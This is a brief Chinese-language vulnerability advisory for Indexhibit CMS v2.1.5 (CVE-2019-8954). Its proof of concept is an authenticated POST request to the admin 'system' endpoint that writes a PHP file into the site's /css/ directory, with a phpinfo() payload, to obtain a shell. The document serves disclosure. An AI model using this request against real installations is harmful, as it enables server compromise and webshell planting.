Indexhibit cms v2.1.5 直接编辑php文件getshell
漏洞简介¶
| 漏洞名称 | 上报日期 | 漏洞发现者 | 产品首页 | 软件链接 | 版本 | CVE编号 |
|---|---|---|---|---|---|---|
| indexhibit cms v2.1.5 直接编辑php文件getshell | 2019-02-20 | yc（3365487579@qq.com） | https://www.indexhibit.org/ | https://www.indexhibit.org/ | v2.1.5 | CVE-2019-8954 |
漏洞概述¶
indexhibit CMS 2.1.5版本存在一个直接编辑php文件的漏洞，导致getshell。
POC实现代码如下：¶
当我们登录进后台后，向/ndxzstudio/?a=system
post数据：
upd_jxcode=true&v=%253C%253Fphp%2520phpinfo()%253B%253F%253E&id=%2Fcss%2Faudio.php
即可在/css/目录写入一个php文件audio.php。
成功getshell：